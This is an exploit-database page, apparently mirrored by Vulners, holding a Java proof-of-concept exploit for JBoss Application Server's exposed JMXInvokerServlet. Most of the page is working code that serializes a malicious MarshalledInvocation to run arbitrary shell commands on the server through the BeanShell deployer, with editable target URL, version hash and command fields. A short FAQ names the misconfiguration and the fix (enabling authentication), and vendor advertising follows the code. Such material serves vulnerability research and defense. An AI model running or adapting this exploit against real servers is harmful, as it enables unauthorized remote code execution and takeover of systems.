Lucene search
K

JBoss JMXInvokerServlet JMXInvoker 0.3 - Remote Command Execution

🗓️ 30 Mar 2015 00:00:00Reported by ikkiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

JBoss JMXInvokerServlet Remote Command Executio

Code
/*
 * JBoss JMXInvokerServlet Remote Command Execution
 * JMXInvoker.java v0.3 - Luca Carettoni @_ikki
 *
 * This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...).
 * Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation"
 * serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console"
 * and the "JMX Console" are protected or disabled.
 *
 * [FAQ]
 *
 * Q: Is my target vulnerable?
 * A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable
 *
 * Q: How to fix it?
 * A: Enable authentication in "jmx-invoker-service.xml"
 *
 * Q: Is this exploit version-dependent?
 * A: Unfortunately, yes. An hash value is used to properly invoke a method. 
 *    At least comparing version 4.x and 5.x, these hashes are different.
 *
 * Q: How to compile and launch it?
 * A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java
 *    java  -cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker
 *    Yes, it's a Java exploit. I can already see some of you complaining....
 */

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.ConnectException;
import java.net.HttpURLConnection;
import java.net.URL;
import javax.management.MalformedObjectNameException;
import javax.management.ObjectName;
import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir)

public class JMXInvokerServlet {

    //---------> CHANGE ME <---------
    static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1
    static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
    static final String cmd = "touch /tmp/exectest";
    //-------------------------------

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException {

        System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]");

        //Create a malicious Java serialized object
        MarshalledInvocation payload = new MarshalledInvocation();
        payload.setObjectName(new Integer(hash));

        //Executes the MBean invoke operation
        Class<?> c = Class.forName("javax.management.MBeanServerConnection");
        Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
        payload.setMethod(method);

        //Define MBean's name, operation and pars
        Object myObj[] = new Object[4];
        //MBean object name
        myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer");
        //Operation name
        myObj[1] = new String("createScriptDeployment");
        //Actual parameters
        myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"};
        //Operation signature
        myObj[3] = new String[]{"java.lang.String", "java.lang.String"};

        payload.setArguments(myObj);
        System.out.println("\n--[*] MarshalledInvocation object created");
        //For debugging - visualize the raw object
        //System.out.println(dump(payload));

        //Serialize the object
        try {
            //Send the payload
            URL server = new URL(url);
            HttpURLConnection conn = (HttpURLConnection) server.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.setDoInput(true);
            conn.setUseCaches(false);
            conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2");
            conn.setRequestProperty("Connection", "keep-alive");
            conn.setRequestProperty("User-Agent", "Java/1.6.0_06");
            conn.setRequestProperty("Content-Type", "application/octet-stream");
            conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate");
            conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation");

            ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream());
            wr.writeObject(payload);
            System.out.println("\n--[*] MarshalledInvocation object serialized");
            System.out.println("\n--[*] Sending payload...");
            wr.flush();
            wr.close();

            //Get the response
            InputStream is = conn.getInputStream();
            BufferedReader rd = new BufferedReader(new InputStreamReader(is));
            String line;
            StringBuffer response = new StringBuffer();
            while ((line = rd.readLine()) != null) {
                response.append(line);
            }
            rd.close();

            if (response.indexOf("Script Name") != -1) {
                System.out.println("\n--[*] \"" + cmd + "\" successfully executed");
            } else {
                System.out.println("\n--[!] An invocation error occured...");
            }
        } catch (ConnectException cex) {
            System.out.println("\n--[!] A connection error occured...");
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }

    /*
     * Raw dump of generic Java Objects
     */
    static String dump(Object o) {
        StringBuffer buffer = new StringBuffer();
        Class oClass = o.getClass();

        if (oClass.isArray()) {
            buffer.append("[");

            for (int i = 0; i < Array.getLength(o); i++) {
                if (i > 0) {
                    buffer.append(",\n");
                }
                Object value = Array.get(o, i);
                buffer.append(value.getClass().isArray() ? dump(value) : value);
            }
            buffer.append("]");
        } else {
            buffer.append("{");
            while (oClass != null) {
                Field[] fields = oClass.getDeclaredFields();
                for (int i = 0; i
                        < fields.length; i++) {
                    if (buffer.length() > 1) {
                        buffer.append(",\n");
                    }
                    fields[i].setAccessible(true);
                    buffer.append(fields[i].getName());
                    buffer.append("=");
                    try {
                        Object value = fields[i].get(o);
                        if (value != null) {
                            buffer.append(value.getClass().isArray() ? dump(value) : value);
                        }
                    } catch (IllegalAccessException e) {
                    }
                }
                oClass = oClass.getSuperclass();
            }
            buffer.append("}");
        }
        return buffer.toString();
    }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation